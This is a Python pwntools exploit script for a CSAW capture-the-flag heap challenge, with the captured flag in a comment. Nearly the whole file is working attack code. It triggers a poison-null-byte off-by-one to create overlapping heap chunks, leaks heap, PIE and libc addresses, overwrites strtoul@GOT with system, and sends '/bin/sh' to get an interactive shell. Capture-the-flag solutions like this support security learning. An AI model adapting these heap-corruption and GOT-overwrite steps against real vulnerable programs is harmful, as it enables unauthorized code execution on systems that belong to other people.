#!/usr/bin/python

from pwn import *

def new_samurai(name):
    p.sendlineafter('Daimyo, nani o shitaidesu ka?\n', '1')
    p.sendafter('What is my weapon\'s name?\n', name)

def exit_dojo():
    p.sendlineafter('Daimyo, nani o shitaidesu ka?\n', '3')

def new_alien(size, name):
    p.sendlineafter('Brood mother, what tasks do we have today.\n', '1')
    p.sendlineafter('How long is my name?\n', str(size))
    p.sendafter('What is my name?\n', name)

def consume_alien(index):
    p.sendlineafter('Brood mother, what tasks do we have today.\n', '2')
    p.sendlineafter('Which alien is unsatisfactory, brood mother?\n', str(index))

def rename_alien(index):
    p.sendlineafter('Brood mother, what tasks do we have today.\n', '3')
    p.sendlineafter('Brood mother, which one of my babies would you like to rename?\n', str(index))
    p.recvuntil('Oh great what would you like to rename ')
    return p.recvuntil(' to?\n').replace(' to?\n', '')

with context.quiet:
    # flag{s000000000000maa@@@@@nnnnnYYYB@@@@@@neeeelinggs}
    # p = remote('pwn.chal.csaw.io', 9004)
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    # the samurais contain pointers to .bss, so we need to leak them to de-randomize PIE
    # samurai_0 # 0 => chunk_0 (0x21)
    new_samurai('0' * 7)
    # samurai_1 # 1 => chunk_1 (0x21)
    new_samurai('1' * 7)
    # samurai_2 # 2 => chunk_2 (0x21)
    new_samurai('2' * 7)

    # exit managing samurai and start managing aliens
    exit_dojo()

    # alien_a # 0 => chunk_3 (0x21) and chunk_4 (0x21)
    new_alien(16, 'a' * 14 + '\n')
    # alien_b # 1 => chunk_5 (0x21) and chunk_6 (0x101)
    new_alien(248, 'b' * 246 + '\n')
    # alien_c # 2 => chunk_7 (0x21) and chunk_8 (0x101)
    new_alien(248, 'c' * 246 + '\n')

    # this frees chunk_3 and chunk_4 and put them in fastbin
    consume_alien(0)

    # alien_d # 3 => chunk_3 (0x21) and chunk_9 (0x101)
    # here, chunk_8 and chunk_9 become adjacent since
    # alien_d uses the chunk_3 in fastbin free list
    new_alien(248, 'd' * 246 + '\n')

    # alien_e # 4 => chunk_4 (0x21) and chunk_10 (0x21)
    # we create this alien in order to prevent the freed chunks get
    # consolidated into the top chunk
    new_alien(16, 'e' * 14 + '\n')

    # this puts chunk_7 in to fastbin and chunk_8 into unsorted bin
    consume_alien(2)

    # alien_f # 5 => chunk_7 (0x21) and chunk_8 (0x101)
    # the off-by-one (poison-null-byte) happens here
    # basically, chunk_9's size will become 0x100 instead of 0x101
    # since chunk_8 and chunk_9 are adjecent. We also set the previous size
    # to 544, which causes chunk_9 consolidates with chunk_6
    new_alien(248, 'f' * 240 + p64(544))

    # we need to free chunk_6 first before freeing chunk_9
    consume_alien(1)

    # freeing chunk_9 trigger consolidation process, which results in
    # having a large free chunk being overlpped with chunk_7
    consume_alien(3)

    # alien_g # 6 => chunk_3 (0x21) and chunk_11 (0x101)
    new_alien(248, 'g' * 16 + '\n')

    # the last new alien will write libc addresses into fd/bk field of chunk_7
    # however, chunk_7's fd is actually pointer to alien's name, so by renaming
    # the alien we can leak a heap address in main arena
    heap_addr = rename_alien(5)
    heap_base = u64(heap_addr + '\x00' * (8 - len(heap_addr))) - 0x1820
    print 'heap base: {}'.format(hex(heap_base))

    # we need to write back the exact same address in order to keep the heap integrity
    p.send(heap_addr)

    # we will free chunk_11 in order to allocate it again
    consume_alien(6)

    # alien_g # 7 => chunk_3 (0x21) and chunk_12 (0x121)
    # chunk_12 has overlap with chunk_7, so we can overwrite the name pointer with
    # a pointer to the heap in order leak a .bss address
    new_alien(280, 'g' * 256 + p64(heap_base + 0x1450) + '\n')

    pie_addr = rename_alien(5)
    pie_base = u64(pie_addr + '\x00' * (8 - len(pie_addr))) - 0x202708
    print 'PIE base: {}'.format(hex(pie_base))

    # we will write back the exact address in order keep the integrity
    p.send(pie_addr)

    # we will free chunk_12 in order to allocate it again
    consume_alien(7)

    # alien_g # 8 => chunk_3 (0x21) and chunk_13 (0x121)
    # chunk_13 has overlap with chunk_7, so we can overwrite the name pointer with
    # strtoul@GOT address in order to leak it for de-randomizing libc
    strtoul_got = pie_base + 0x202058
    new_alien(280, 'g' * 256 + p64(strtoul_got) + '\n')

    strtoul_addr = rename_alien(5)
    libc_base = u64(strtoul_addr + '\x00' * (8 - len(strtoul_addr))) - 0x3b3f0
    print 'libc base: {}'.format(hex(libc_base))

    # here we can replace strtoul@GOT with system address
    system = libc_base + 0x45390
    p.send(p64(system))

    # we can provide /bin/sh in order to execute shell
    p.sendline('/bin/sh')

    p.interactive()

